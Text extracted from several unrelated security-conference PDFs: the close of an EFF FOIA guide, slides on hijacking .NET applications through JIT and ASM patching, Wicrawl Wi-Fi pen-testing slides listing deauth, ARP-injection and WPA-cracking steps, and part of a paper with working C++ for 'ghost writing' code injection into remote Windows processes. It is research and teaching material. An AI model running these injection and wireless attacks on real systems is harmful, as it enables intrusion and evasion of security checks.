any. Consider asking for expedited processing. How do you write your request? If appropriate, ask for reduced fees. Note: You may not have to pay search or review fees if you can show that you’re a member of the media or an educational or scientific institution, and you’re not requesting stuff for commercial use. What if I’m asking about myself? FOIA works. Privacy Act does, too, if you’re a U.S. citizen or permanent legal resident. You’ll need to provide some personal information such as name, aliases, address, phone number, date of birth, place of birth, and SSN (optional). What if I’m asking about myself? You’ll need to certify under penalty of perjury that you’re not providing false information. Check the agency website for FOIA/PA request forms or ways to submit online, which might make the whole thing easier. And then you wait. They’re supposed to get back to you within 20 working days, but they probably won’t. So then what? You can badger them. You can sue them. You can contact the new FOIA ombudsman. You can keep waiting. What if they respond, but refuse to give you stuff? Well, you’ll have to appeal. If they don’t respond within 20 working days or deny your appeal, you can sue. Resources EFF has a FOIA FAQ: http://www.eff.org/issues/bloggers/legal/ journalists/foia Reporters Committee for Freedom of the Press has state and federal open government guides and FOI request generators: http://www.rcfp.org/fogg/index.php http://www.rcfp.org/foialetter/index.php Resources If you’re really serious, the Electronic Privacy Information Center publishes a FOIA litigation manual: http://epic.org/bookstore/foia2008/default.html The Office of Government Information Services mediates FOIA disputes: http://www.archives.gov/ogis Questions? Marcia Hofmann Senior Staff Attorney Electronic Frontier Foundation marcia@eff.org
pdf
Hijacking Arbitrary .NET Application Control Flow Topher Timzen Security Researcher, Intel Security Trainer TopherTimzen.com @TTimzen #whoami Overview .NET? Runtime Attacks Modify Control Flow Machine Code Editing Managed Heap Tools Released Use .NET to attack Using Objects on the Heap Why are we Here? CLR Attacks Controlling the Common Language Runtime Accessing raw objects on Managed Heap Manipulate AppDomains • Controlling all Loaded Code • Controlling Just-In-Time Compilation Attack With ASM Manipulate Resources Attack methods at ASM level Alter application control flow Runtime .NET Process CLR (2.0/4.0) & AppDomains Assemblies (.EXE and .DLL(s)) Objects Properties Fields Instance Methods Classes Methods Logic Gray Frost & Gray Storm The Tools Gray Frost Gray Frost Payload delivery system C++ .NET CLR Bootstrapper Creates or injects 4.0 runtime Capability to pivot into 2.0 runtime Contains raw payload 2 Rounds GrayFrostCpp GrayFrostCSharp • C# Payload Round 1 .NET Process Round 1 Mscoree GrayFrostCpp Round 1 GrayFrostCpp Round 1 GrayFrostCSharp GrayFrostCpp Round 2 .NET Process Round 2 .NET Process GrayFrostCSharp Round 2 .NET Process payload void main() GrayFrostCSharp Round 2 .NET Process Payload .NET Process Pivoting Between runtimes Mscoree GrayFrostCpp Pivoting Between runtimes GrayFrostCpp Pivoting Between runtimes GrayFrostCSharp GrayFrostCpp Pivoting Between runtimes GrayFrostCSharp GrayFrostCpp Pivoting Between runtimes GrayFrostCpp Pivoting Between runtimes GrayFrostCSharp GrayFrostCpp Pivoting Between runtimes GrayFrostCSharp GrayFrostCpp Pivoting Between runtimes Gray Storm Gray Storm Reconnaissance and In-memory attack payload Features Attacking the .NET JIT Attacking .NET at the ASM level ASM and Metasploit payloads Utilize objects on the Managed Heap Gray Storm Usage Controlling the JIT Method Tables contain address of JIT stub for a class’s methods. During JIT the Method Table is referenced We can control the address Lives after Garbage Collection Controlling the JIT Controlling the JIT Control Flow Attacks .NET uses far and relative calls 0xE8; Call [imm]  0xFF 0x15; Call dword segmentRegister[imm] relCall = dstAddress - (currentLocation+ lenOfCall) ASM Payloads Address of a method known through Reflection Overwrite method logic with new ASM Steal stack parameters Change events ASM Payloads Change return TRUE to return FALSE Password validation Key & Licensing validation SQL Sanitization Destroy security Mechanisms Overwrite logic Update Mechanisms ASM Payloads ASM Payloads Metasploit Hand Rolled Portable Environment Block (PEB) changes Portable Environment Block http://www.tophertimzen.com/blog/shellcodeDotNetPEB/ Object Hunting in Memory Managed Heap Storage point for .NET Objects New reference objects added to heap Garbage Collector removes dead objects Managed Heap Storage point for .NET Objects New reference objects added to heap Garbage Collector removes dead objects Let’s manipulate it! Object Hunting in Memory Objects are IntPtrs Point to Object Instance on Managed Heap All instantiated objects of the same class share the same Method Table Reflection Object Hunting Win Finding Objects at Runtime i. Construct an object and find location of Managed Heap ii. Signature instantiated type iii. Scan Managed Heap for object pointers iv. Convert object pointers to raw objects v. ???? vi. PROFIT Finding Objects at Runtime i. Construct an object and find location of Managed Heap ii. Signature instantiated type iii. Scan Managed Heap for object pointers iv. Convert object pointers to raw objects v. ???? vi. PROFIT Construct an Object Use Reflection to invoke a constructor Can instantiate any object If a constructor takes other objects, nullify them https://gist.github.com/tophertimzen/010b19fdbde77f251414 IntPtr = 024e9fe8 024e9fe8 (Object) 00000005 00000001 00000000 IntPtr = 5 STACK 024e9fe8 (Object) L H https://gist.github.com/tophertimzen/812aa20dbe23cb42756d Find location of Managed Heap IntPtr = 024e9fe8 024e9fe8 (Object) 00000005 00000001 00000000 IntPtr = 5 STACK Managed Heap 024e9fe8 (Object) L H https://gist.github.com/tophertimzen/812aa20dbe23cb42756d Find location of Managed Heap IntPtr = 024e9fe8 024e9fe8 (Object) 00000005 00000001 00000000 IntPtr = 5 STACK 024e9fe8 (Object) L H https://gist.github.com/tophertimzen/812aa20dbe23cb42756d Find location of Managed Heap IntPtr = 024e9fe8 024e9fe8 (Object) 00000005 00000001 00000000 STACK L H https://gist.github.com/tophertimzen/812aa20dbe23cb42756d Find location of Managed Heap Finding Objects at Runtime i. Construct an object and find location of Managed Heap ii. Signature instantiated type iii. Scan Managed Heap for object pointers iv. Convert object pointers to raw objects v. ???? vi. PROFIT Signature instantiated type Object Instances contain a Method Table pointer to their corresponding type. (x86) Bytes 0-3 are the Method Table (MT) Bytes 4-7 in MT is Instance Size 0:009> dd 024e9fe8 024e9fe8 00774828 0000038c 00000001 00000000 Signature instantiated type Object Instances contain a Method Table pointer to their corresponding type. (x64) Bytes 0-7 are the Method Table (MT) Bytes 8-11 in MT is Instance Size 0:008> dd 00000000024e9fe8 00000000`0286b8e0 ea774828 000007fe Finding Objects at Runtime i. Construct an object and find location of Managed Heap ii. Signature instantiated type iii. Scan Managed Heap for object pointers iv. Convert object pointers to raw objects v. ???? vi. PROFIT Scan Managed Heap Scan down incrementing by size of object Scan linearly up to top of heap Compare object’s Method Table to the reference If they match, get IntPtr address of object Finding Objects at Runtime i. Construct an object and find location of Managed Heap ii. Signature instantiated type iii. Scan Managed Heap for object pointers iv. Convert object pointers to raw objects v. ???? vi. PROFIT Convert object ptr -> raw obj STACK Refer (System.IntPtr) pointer(024ea00c ) pointer(024ea00c ) L H https://gist.github.com/tophertimzen/1da2b0aab6245ed1c27b Convert object ptr -> raw obj STACK Refer (System.IntPtr) pointer(024ea00c ) pointer(024ea00c ) L H https://gist.github.com/tophertimzen/1da2b0aab6245ed1c27b Convert object ptr -> raw obj Refer (GrayStorm.testClass) pointer(024ea00c ) STACK L H https://gist.github.com/tophertimzen/1da2b0aab6245ed1c27b Finding Objects at Runtime i. Construct an object and find location of Managed Heap ii. Signature instantiated type iii. Scan Managed Heap for object pointers iv. Convert object pointers to raw objects v. ???? vi. PROFIT ???? PROFIT Superpowers and Things? Change Keys Change Fields / Properties Call Methods With arguments! Automation Automation GrayFrost can be used with automated payloads Constructing Attack Chains How to construct attack chains Gray Wolf / IL Decompiler  Find Methods, Fields & Properties of interest  Locate meaningful objects  Discover high level control flow Gray Storm “Debugging” functionality  Breakpoint at constructors or methods from Method Pointers  Use with WinDbg Utilize DLL Hijacking! Hybrid .NET/ASM Attacks Hybrid C#/ASM code in .NET Encrypting .NET payloads and unwinding Encrypting ASM Payloads Payload System C# is easy Can use Gray Frost in any application Low and High level gap is easy .NET Hacking Space Small Few tools Mostly hacking WoW Lots of PowerShell Previous DEF CON talks DEF CON 18 & 19 - Jon McCoy Conclusion Arbitrary .NET applications can be injected and changed New .NET attack possibilities New tools that support automation Get Gray Frost and Storm github.com/graykernel Questions? Contact Me @TTimzen https://www.tophertimzen.com Get Gray Frost and Storm github.com/graykernel White Papers Hijacking Arbitrary .NET Application Control Flow Acquiring .NET Objects from the Managed Heap
pdf
Pen-testing Wi-Fi Defcon 2007 Aaron Peterson "What you talking about, Willis?” We're talking about … ● Pen-testing Wi-Fi with a new wireless auditing tool: **Wicrawl** ● Who am I ● Current state of Wi-Fi scanning ● Wi-Fi Penetration testing ● How Wicrawl can help ● How it works ● Use cases and examples ● Screenshots ● Demo!! ● LiveCD software handout ● Wi-finding robot? Who am I? Aaron Peterson (Aaron@MidnightResearch.com, Aaron@AlphaDefense.com) ● Project manager and Developer for wicrawl ● Founder, Midnight Research Laboratories (MRL) ● Co-Founder, Consultant with Alpha Defense ● Network Security Incident Response Team at Harvard University UIS NOC ● Network Security by day, Pen-tester by night Who is that? Midnight Research Labs is a small security research group (San Francisco, Boston, other). With a focus on security and novel computing, MRL has monthly meetings to discuss and stimulate new development on sponsored projects. Come on out! http://www.MidnightResearch.com A Network Security Consulting firm based in Boston, MA that specializes in Network and Web Application Penetration testing http://www.AlphaDefense.com Standard disclosure None of the views, statements or opinions expressed in this presentation reflect in any way the opinions of my employer. Current state of wi-fi scanning (old and busted) Wi-Fi is nearly ubiquitous, but... ● More and more layers of security means varying levels of access (and varying levels of usefulness) We don't really care about just finding a large number of useless Access Points anymore because: ● Just knowing an access point exists doesn’t tell us much ● Manual configuration and checks are tedious and take too much time (and get too few useful results) ● Especially for large numbers ● That and I'm pretty lazy The inspiration for Wicrawl AP Information gathering ● Having WEP no longer means we can’t get on an access point (WEP is dead) ● An “open” AP no longer means we can … ● Much more information to gather after association WEP: “You can put lipstick on a pig… but it’s still a pig...” Moving forward (new hotness) What we[*] really care about: ● Penetration-testing -->(* Security Professionals ) ● Finding Rogue access points --> (* Every-day IT ) ● Getting (and staying) on the internet --> (* Business Travellers ) ● Finding "useful or interesting" --> (* Hackers, Slackers access point and Code-crackers ) What's behind that AP? The magical land of Narnia? or the soft chewy underbelly of my corporate network being exposed? Need to filter, crawl and examine … Penetration Testing Wi-Fi ● “Traditional” Penetration testing – General Confidentiality/Integrity/Availability – Similar methodology to other pen-testing activities ● Reconnaissance ● Discovery, scanning and enumeration (foot-printing) ● Vulnerability/Security/Posture assessment – Lots of individual tools ● Rogue Access Point Checks – A $20 device can often subvert all security – Classic eggshell problem “How many rogue AP’s does it take to get to the center of your network?” Wi-Fi Pen-testing difficulties ● AP quantity and density – More Wi-Fi gear (antennas, amplifiers, etc) makes this even “worse” when looking for rogue APs – Takes lots of time to scan (and crawl, or crack, e.g. WPA PSK) ● Hackers have more time than auditors ● A multitude of tools, but takes time to setup/configure/run ● Geographic issues – Multi-level shared buildings, reflections, latency ● Rogue Access Points – Hard to tell if it’s an AP you’re authorized to scan – Baselines don’t exist – Clients/Traffic (and detection) can be bursty – Ultimately can’t prove a negative Common Tools ● Discovery – Kismet / wellenreiter / netstumbler / kismac / iStumbler ● WEP – Aircrack-ng suite ● (e.g. wepcracking, arp injection, client de-authing, WPA crack (PTW/FMS, etc), WPA brute-forcing, chopchop, fragmentation, dumping, tunneling, etc) – Wesside ** – Easside ** – Airbase / picocrack – Weplab More common tools ● WPA – coWPAtty / rainbow tables genpmk – Aircrack-ng ● Attacking the client-side – Karma / hotspotter ● Others – Asleap, THC-LEAPcracker, pickupline, LORCON, wifitap, void11 – More non-specific tools like nmap, nessus and metasploit, etc /dev/urandom notes ● Wordlists are important – A large number of passwords are based on company/product data, or a derivative of a default passwords – Check out wyd: ● http://www.remote-exploit.org/codes_wyd.html ● Antennas don’t necessarily have to pointed directly at the target to be most effective ● People *will* look at you funny (and suspiciously) Wicrawl can help ● New features for the pen-tester – Hardware/FPGA Acceleration (ie. H1kari’s latest work) – Better filtering and imported host lists – New plugins (metasploit, better captive portal detection and avoidance, etc) – Professional reporting (released soon) ● Logical approach ● Automated ● Can cover the whole toolset rather than one at a time ● Parallelized attacks with multiple cards wicrawl enters the thunderdome... ● Ability to select "goal oriented" wi-fi network checks based on plugins and profiles ● Actually get the info you want -- Don't get the cruft you don't care about! (Google images rocks) Wicrawl is: “... a simple wi-fi scanner and auditor with a flexible and simple plugin architecture with passive discovery and active crawling” ● The Power is in the plugins ● Automation of standard tasks, association, DHCP, network- checks, mapping, proxy-check, etc. ● Multiple simultaneous Wi-Fi cards for parallel scanning/crawling ● Profiles determine when and how scanning is done ● Theme-able GTK GUI (with status bar for wardriving) ● Extra features: GPSd, TTS, hooks for motorized antenna, reporting (pdf/html/xml/txt) ● http://midnightresearch.com/projects/wicrawl Wicrawl examples Basic example: ● Does access point discovery ● Associates ● Gets an IP address ● Tries to get to the Internet ● Measures speed/latency More Advanced: ● Runs nmap, nessus ● Triggers metasploit ● Tries to break WEP/WPA-PSK ● Bruteforces WEP dictionary attacks Under the Hood: Logical Pieces of wicrawl: ● Discovery Engine ● Plugin Engine ● Plugins ● Profiles ● Reporting ● UI(s) General Architecture Discovery Engine Discovery by itself is similar to what already exists today (e.g. kismet, netstumbler, etc.) Wicrawl ● Passive discovery (Beacons and probes, Oh my!) ● Requires monitor mode (rfmon) ● Handles multiple radio header types ● Pcap traffic dumping ● Sends IPC messages to plugin-engine directly ● Scheduled from plugin-engine ● Written by Jason Spence and Focus Discovery Engine Architechure Overview libpcap Frame Cracker HyperPiMP (TM) Frame Database IPC Manager CoS Analyzer IPC Queue Plugin Engine Goat Prevalidator Plugin Engine ● Takes the information that we get from discovery and runs plugins (based on the profile) ● Multiple cards for distributed crawling ● Handles all scheduling decisions: ● Card per Access Point ● Turning on and off the discovery engine ● When to run plugins (hooks/scheduled synchronous/asynchronous as determined by the profile) ● SSID, MAC filtering ● Written by Aaron Peterson Plugins ● Anything you want them to be ● Super simple interface ● Plugins scheduled by plugin-engine ● AP/state parameters passed into plugin ● Plugin specific config passed in through the environment ● Executable (binary/script/etc) ● Two types: ● Scheduled ● Hook ● Bash/Perl/python and even fortran templates exist ● Wraps sometimes difficult to make/build/use tools ● Written by Aaron, Peter Kacherginsky, Focus and you Plugins (more) Plugin definitions ● Event levels ● New AP ● Have Association ● Have IP ● Have Internet ● Pre/Post Discovery (hooks only) ● Pre/Post Access Point (hooks only) ● Can have multiple event levels per plugin ● Run lengths ● short, medium, long ● Run levels (Plugin ordering, think sysV init) Workflow In the UI, select the Cards (and profiles) Selecting“Start” triggers: • Plugin-engine triggers discovery until plugin-scheduling takes over • Run “short” runlength plugins for 'new-ap' (the first event-level). • Run plugins (e.g. association, wep-cracking) in this run-level until we are able to associate, then we run plugins in the next event-level (have-association). • Continue escalating up the event levels until we're stuck (by finishing all plugins in the runlength/event level without escalating) • Run through all other Access Points • After all Access Points have been scanned in this runlength, go back for a second pass with the next run-length (medium) • Replay plugins to get to the current runlevel • Start the plugins in the medium runlength starting from current event level • Wash, rinse, repeat in “long” run length if needed until all scheduled plugins have been run • Start new discovery run Plugins: Types Two different types of Plugins: ● Scheduled ● Handles the tools and are scheduled according to the Profile ● Synchronous ● Examples: association, mapping, anything associated with an access point ● Hooks ● More timing sensitive ● Synchronous, or Asynchronous ● Examples: GPSd, Antenna movement, TTS Plugins: Interface Three ways to communicate with plugins: ● Get the report style human readable input from the STDOUT of the plugins. This is recorded in the plugins XML file by the plugin-engine ● Get the programmatic data back from the plugin through the return code (This can signal an event level change) ● The plugin can send pre-defined “messages” to the plugin-engine through the IPC Existing Plugin Examples ● Association ● DHCP ● Internet checks (speed and bandwidth) ● NMAP or other network scanning ● Aircrack-ng (with PTW) ● Nessus ● Bruteforcing (weplab and coWPAtty) ● MAC spoofing ● Metasploit ● GPSD and Text to speech ● And more! … ● Future: ● Even better captive proxy handling ● Continue to improve Rogue AP checks ● dsniff, ettercap, etc Aircrack-ng plugin ● Starts monitor mode ● Starts airodump to gather traffic (IVs) ● Looks for clients participating on the network ● Sends a de-auth to the broadcast ● Sends a de-auth to each client ● If after a while we still don’t see clients, re-de-auth ● Starts aireplay with --fakeauth for the client with the most packets – If fake-auth fails it will check again for the best client to spoof ● Run aireplay arp inject attacks to inject traffic (and generate IVs). – If after a while we don’t see any arp traffic, re-de-auth ● Runs aircrack-ng once we get enough packets to start FPGAs and Hacking faster ● H1kari’s coWPAtty patches (part of open ciphers, openciphers.sf.net) ● H1kari has done a lot of great work in FPGA accelerated cracking ● Wicrawl plugin: – Takes .pcap file from discovery and checks for a 4-way handshake – Runs tcpdump until it finds one – Starts the appropriate coWPAtty client based on whether it sees a pico computing FPGA ● 30cps with laptop, 410cps with FPGA – (a week to a month job turns into three months to a year of cracking time by using a FPGA) (Stolen from h1kari’s talk) Architecture: Plugins Plugin Writing: # The name of the plugin $name="Example PERL Plugin"; # The binary file to run $bin="my_plugin.pl"; # Version number of the plugin $version="0.1"; # Card requires to be in monitor mode or not... #monitor=yes|no $monitor="no"; # Length the plugin will take to run # examples dhcpd would be short, aircrack would be long #runlength=short|medium|long $runlength="short"; # Whether this plugin is offline #offline=yes|no $offline="no"; # plugin suggested "runlevel" # 0-99 $runlevel=11; # event to register for $event="associated"; # timeout value $timeout=30; Profiles ● Determines "goals" ● Card scheduling types ● First ● All ● Traffic ● Signal ● What run lengths we want to run ● Persistent plugin path ● Plugin overrides ● Eventually everything Profile Examples ● Pen-testing ● 'All' card scheduling ● Schedule all plugins ● Short, Medium and long run lengths ● Wardriving ● 'First' card scheduling ● Schedule only basic, short or even no plugins ● Short runlengths only ● Holding Internet Access ● 'Signal' card scheduling ● Only basic plugins, plus hold internet plugin ● Probably short runlengths only UI(s) wicrawl-gtk ● Sexy ● Plugin/profile configuration ● Runs plugin-engine ● Themes (think night-time) ● Reads input from XML (APs, and plugin output) ● War-driving roll-up status bar ● Written by Peter Kacherginsky Curses based UI in alpha ● So we can run on WRT54G ● (wifly) Architecture: UI Screenshot (main): Screenshot (plugin output): Screenshot (plugin nmap): Screenshot (plugin select) Status: ● Full Release ● Linux only this release ● BSD/Mac next targets ● Few bugs, and some plugin cleanup ● Card support needs to be (pre)validated ● Plugins -- Need more!! ● Need to test/complete TUI ● Need to finish pdf “professional” reporting ● metasploit & wesside plugins released soon!™ Future -- Infinity and Beyond!! ● Multiple computers ● Multi-Plexing APs (2.0) ● Multiple card discovery (close) ● Plugins, plugins, plugins ● Info registry ● Card capabilities database ● (Lorcon?) ● Plugin reporting formats ● Ultra-mega-AP-scanning behemoth ● Wicrack – Wi-fi distributed cracking flash mob Wi-fi Scanning/crawling liability ● Only you are responsible! ● Sticky case-law and enforcement (examples) ● If you're not sure, only scan your own APs ● Use AP filters to restrict scanning and crawling ● Use non-invasive profiles when appropriate ● Pen-testers – ALWAYS GET PERMISSION, contracts, insurance, etc. ● http://www.sans.org/rr/whitepapers/wireless/176.php -- “How to Avoid Ethical and Legal Issues In Wireless Network Discovery” Thanks to: ● Midnight Reseach Labs ● Peter Kacherkinsky ● Jason Spence ● Focus ● Vanessa Peterson (my wonderful wife) ● Defcon -- w00t! ● Mati/Muts and the Backtrack project ● aircrack-ng and Christophe Devine ● Jose Ignacio Sanchez (weplab) ● H1kari and Pico Computing ● Josh Wright (coWPAtty) ● Jennifer Grannick And you! Questions? </end> Demo and LiveCD handouts ● Real Live Demo ● LiveCD based on Backtrack References ● http://midnightresearch.com ● http://midnightresearch.com/projects/wicrawl Other related projects: ● Wi-finding robot ● R/C base ● Motorized bi-quad antenna ● Webcam and IR distance sensor ● Mounted laptop as the brains (running wicrawl, :) ● Make controller ● Wicrawl plugins ● Tell bot when to search ● Move antennas, and record location. Replays antenna location for each AP and runs other plugins ● DEMO! ● Wifly?
pdf
Weaponize GhostWriting Injection Code injection series part 5 Prerequisites: This paper requires some knowledge about Windows system programming. Also, it is mandatory to be familiar with concepts presented in Code injection series part 1. License : Copyright Emeric Nasi , some rights reserved This work is licensed under a Creative Commons Attribution 4.0 International License. 1. Introduction Ghost writing is a technique which consists into injecting and running code in a remote process by manipulating the register states of one of its thread. This technique allows us to use code injection without opening the process or calling any remote memory allocation or writing functions. I haven’t found an implementation satisfying for 64bit code and generally the few existing implementation only describe limited shellcode injection so I decided to implement my own version and write something about it. Some tools I use to work on code injection: • Microsoft Visual Studio • Sysinternal Process Explorer • Sysinternal DebugView • X64dbg Contact information: • emeric.nasi[at]sevagas.com • https://twitter.com/EmericNasi • https://blog.sevagas.com/?-Code-injection-series- • https://github.com/sevagas Note: I am not a developer, so do not hesitate to send me source code improvement suggestion. I am also not a native English speaker. 1 2. Table of content 1. Introduction ..................................................................................................................................... 0 2. Table of content .............................................................................................................................. 1 3. Ghost Writing .................................................................................................................................. 2 3.1. About ghost writing ................................................................................................................. 2 3.2. Context Manipulation.............................................................................................................. 2 4. Implementation ............................................................................................................................... 3 4.1. Gadgets we need ..................................................................................................................... 3 4.1.1. Infinite loop gadget ......................................................................................................... 3 4.1.2. Write anywhere gadget ................................................................................................... 3 4.2. Help structure .......................................................................................................................... 4 4.3. Higher level Functions ............................................................................................................. 4 4.3.1. Init thread context manipulation .................................................................................... 4 4.3.2. End thread context manipulation.................................................................................... 5 4.3.3. Remote write anywhere .................................................................................................. 5 4.3.4. Remote execution of Windows API ................................................................................. 5 4.3.5. Integrate into Code injection........................................................................................... 7 5. Example ........................................................................................................................................... 9 5.1. Use ghost writing on Firefox ................................................................................................... 9 6. Going further ................................................................................................................................. 10 6.1. Build and improve ................................................................................................................. 10 6.2. Further readings about code injection .................................................................................. 10 2 3. Ghost Writing 3.1. About ghost writing The idea behind ghost writing is to manipulate a remote thread state and context in a target process to write and execute arbitrary code. The first public mention of Ghost Writing was in 2007 on txipi blog “A paradox: Writing to another process without openning it nor actually writing to it”. In his paper he explains how to perform remote byte injection and code execution without using process manipulation API (such as OpenProcess, WriteProcessMemory…) or common remote code injection API (such as VirtualAllocEx, CreateRemoteThreadEx, …). He also proposes an PoC implementation for 32bit process and shellcode injection. I wanted to go further and implement code working for 64bit process, also I wanted to make it compatible with full PE injection as described in Code injection series part 1. Note: Ghost Writing relies on low level operations, writing directly into the stack and manipulating registers. Explaining all these concepts are outside the scope of this document, however here are some useful resource: • Windows x64 Architecture • Windows x64 calling convention • Return oriented programming (ROP) 3.2. Context Manipulation Ghost writing is all about context manipulation. The meaning of “Context” here is the state of all registers in a thread (which means that of course Ghost writing is really processor architecture dependent). Ghost writing relies on context manipulation on the remote thread. For that we rely mainly on: • GetThreadContext • SetThreadContext • SuspendThread • ResumeThread Here are the basic high-level steps to follow if we want to execute code inside a remote thread by manipulating its context: • Get a handle to a remote thread • Suspend the remote thread • Modify registers and stack to point to code we want to execute in the remote process memory and pass parameters • Resume the thread Note: The code we want to execute has to be already present in the process memory. It can be a full dll function, a simple ROP gadget, or some code that was previously injected in the process memory. 3 The big issue is that we want the injection to be stable. We do not want the target process to crash. This means we have to prevent the remote thread to execute junk code after our useful code, and we want to restore the original state of the thread or exit the thread in a clean way to avoid crashing the target process. To restore the thread state its easy, we can just save the initial thread state with GetThreadContext. To control the execution is more difficult. In addition to registers we have to put values on the stack (even on 64bit process where 4 first param are passed on registers). To avoid crashes we need to have the thread wait in a safe place between each context manipulation. For that we need to put an infinite loop gadget address in the stack so the target thread can fall back to it when we return from code execution. So what happens after we resume thread: • Remote code is executed until RET instruction is reached • When RET is called, RIP is loaded with infinite loop address • Code is in infinite loop, waiting for thread to be suspended again Note: Ghost writing “code” has some similarities with writing ROP payloads when exploiting a vulnerability, except we avoid to stack all the calls on the stack by using an infinite loop gadget. 4. Implementation Here is an overall description about how I implemented an easy to use Ghost Writing “framework”. The full code for the thread related functions described below is available at: https://github.com/sevagas/MagicLib (Look at MagicThread.h and MagicThread.cpp and remember I am not a developper…). 4.1. Gadgets we need 4.1.1. Infinite loop gadget We need to find a place where the code returns and not crash after each function or gadget which are called. For that we use a JMP 0 instruction that can be found in ntdll.dll. Here is the declaration of the corresponding Opcode BYTE* JMP_0_OPCODE = (BYTE*)"\xeb\xfe"; 4.1.2. Write anywhere gadget We need a way to write a byte at a chosen memory address in the remote process., for that we will be looking for a write anywhere gadget in ntdll.dll The simplest write anywhere gadgets have the form: mov [registerA], registerB ; ret I used ROPgadget to find such an instruction in ntdll.dll python ROPgadget.py --binary C:\Windows\System32\ntdll.dll 0x000000018005de0a : mov qword ptr [rdx], rax ; ret 4 The gadget allows us to write the content of rax to the address pointed by rdx and then return. Here is the corresponding opcode: BYTE* MOV_PTRRDX_RAX_RET = (BYTE*)"\x48\x89\x02\xC3"; 4.2. Help structure To help with the manipulation of the various gadget, registers, and handle I defined the structure below. /* Structure useful to manipulate thread context */ typedef struct _REMOTE_THREAD_CONTEXT_MANIPULATION { HANDLE hProcess; HANDLE hThread; CONTEXT savedThreadContext; BOOL isThreadSuspended; ADDRESS_VALUE writeGadgetAddr; ADDRESS_VALUE jmp0GadgetAddr; ADDRESS_VALUE jmp0StackAddr; BOOL createNewThread; }REMOTE_THREAD_CONTEXT_MANIPULATION, * PREMOTE_THREAD_CONTEXT_MANIPULATION; Explanations: • hProcess is used to store the target process handle. • hThread is used to store the target thread handle • savedThreadContext is used to store the context of the remote thread (see definition of 64bit context structure here). • isThreadSuspended is to follow if the remote thread is suspended or not • writeGadgetAddr is the memory address in target process where Write anywhere gadget is • jmp0GadgetAddr is the memory address of Jump 0 gadget • jmp0StackAddr is the stack address where we store jmp0GadgetAddr 4.3. Higher level Functions On top of the two gadgets we can build higher level function and even call real functions in remote process modules. As long as we ensure the function always returns to our infinite loop gadget. 4.3.1. Init thread context manipulation This first method does some initialization stuff such as looking for gadgets, prepare REMOTE_THREAD_CONTEXT_MANIPULATION structure, create new thread or hijack an existing one, etc. Here is the method signature: /* Initialization fonction required before calling WriteToRemoteThread and CallRemoteProc If createNewThread is true, this will call createRemoteThread in suspended state to generate the thread we use to manipulate context return TRUE if function succeeds */ BOOL MagicThread::InitThreadContextManipulation(HANDLE hProcess, PREMOTE_THREAD_CONTEXT_MANIPULATION rtManipulation, BOOL createNewThread) 5 One noticeable thing is that this function prepares the stack and use the write anywhere gadget to store jmp0GadgetAddr on the stack: rtManipulation->jmp0StackAddr = rtManipulation->savedThreadContext.Rsp-0x8000; // leave some space for thread stack MagicThread::WriteToRemoteThread(rtManipulation, rtManipulation->jmp0StackAddr, (ADDRESS_VALUE)rtManipulation->jmp0GadgetAddr); 4.3.2. End thread context manipulation Here is the signature of the method I defined to clean and restore or terminate cleanly the remote thread /* Will clean when you are finished with context manipulation Will terminate created thead or restore hijacked thread return TRUE if function succeeds */ BOOL MagicThread::EndThreadContextManipulation(PREMOTE_THREAD_CONTEXT_MANIPULATION rtManipulation) 4.3.3. Remote write anywhere This method is a wrapper around the write anywhere gadget. In the signature below, the argument valueToWrite is copied to addressToWrite in the remote process memory. VOID MagicThread::WriteToRemoteThread(PREMOTE_THREAD_CONTEXT_MANIPULATION rtManipulation, ULONG_PTR addressToWrite, ADDRESS_VALUE valueToWrite) I used a lot WriteToRemoteThread in the POC. One possible usage is to replace Win32 WriteProcessMemory and instead write the payload 8 bytes by 8 bytes to the remote thread using WriteToRemoteThread. /* Write processed module image in target process memory */ log_info(" [-] Copy modified module in remote process\n"); //WriteProcessMemory(hProcess, (LPVOID)distantModuleMemorySpace, moduleCopyBaseAddress, moduleSize, NULL); ADDRESS_VALUE i; for (i = 0; i < moduleSize; i += sizeof(ADDRESS_VALUE)) { MagicThread::WriteToRemoteThread(&rmi,(ULONG_PTR)(distantModuleMemorySpace + i), *((ADDRESS_VALUE*)(moduleCopyBaseAddress + i))); } Note: This method is slow and the thousands calls to thread context manipulation function could trigger detection by security solution. 4.3.4. Remote execution of Windows API This method is a helper function used to trigger a win 32 API call in the remote process using context manipulation. Here is its signature: /* Trigger a function is another process, 4 parameters can be passed rtManipulation must have been previously initialized by a call to MagicThread::InitThreadContextManipulation 6 */ ADDRESS_VALUE MagicThread::TriggerFunctionInRemoteProcess( PREMOTE_THREAD_CONTEXT_MANIPULATION rtManipulation, CONST TCHAR* moduleName, CONST TCHAR* functionName, ADDRESS_VALUE param1, ADDRESS_VALUE param2, ADDRESS_VALUE param3, ADDRESS_VALUE param4 ) I use this method to easily call a function available in a module located in the remote process. I can call any function provided I have the module name and function name. For example, instead of calling VirtualAllocEx from the attacking process like in common injection methods, we can make the remote thread call VirtualAlloc on its local memory instead. // distantModuleMemorySpace = VirtualAllocEx(targetProcess, NULL, moduleSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); distantModuleMemorySpace = MagicThread::TriggerFunctionInRemoteProcess(&rmi, "Kernel32.dll", "VirtualAlloc", 0, (ADDRESS_VALUE)moduleSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); In case one of the target function parameter is a pointer to a variable, we have to store the variable value on the stack and pass this stack address to the function. In the code below we store on the stack a pointer to another part of the stack to store the “lpflOldProtect” parameter of VirtualProtect function. // Store variable necessary for oldProtect param of VirtualProtect MagicThread::WriteToRemoteThread(&rmi, rmi.jmp0StackAddr+0X20, rmi.jmp0GadgetAddr+0x30); // Store on remote stack pointer to other part of stack MagicThread::TriggerFunctionInRemoteProcess(&rmi, "Kernel32.dll", "VirtualProtect", distantModuleMemorySpace, (ADDRESS_VALUE)headers->OptionalHeader.SizeOfHeaders, PAGE_READONLY, rmi.jmp0StackAddr + 0X20); When you need to call a function with more than 4 parameters, you have to put the additional parameters on the stack using WriteToRemoteThread. In the example below we instrument the remote threat to call CreateThread. // CreateThread require 6 param, we put param 5 and 6 on the stack first MagicThread::WriteToRemoteThread(&rmi, rmi.jmp0StackAddr+0x28, (ADDRESS_VALUE)CREATE_SUSPENDED); MagicThread::WriteToRemoteThread(&rmi, rmi.jmp0StackAddr+0x30, 0); ADDRESS_VALUE remoteThreadHandle = MagicThread::TriggerFunctionInRemoteProcess(&rmi, "Kernel32.dll", "CreateThread", 0, 0, rmi.jmp0GadgetAddr, 0); 7 4.3.5. Integrate into Code injection I integrated all these concepts presented above to implement a full PE injection mechanism as described in part 1 and part 2. The code next page is commented and presents every step to allocate memory in remote process, copy current Exe module with patched relocation, modify sections protections 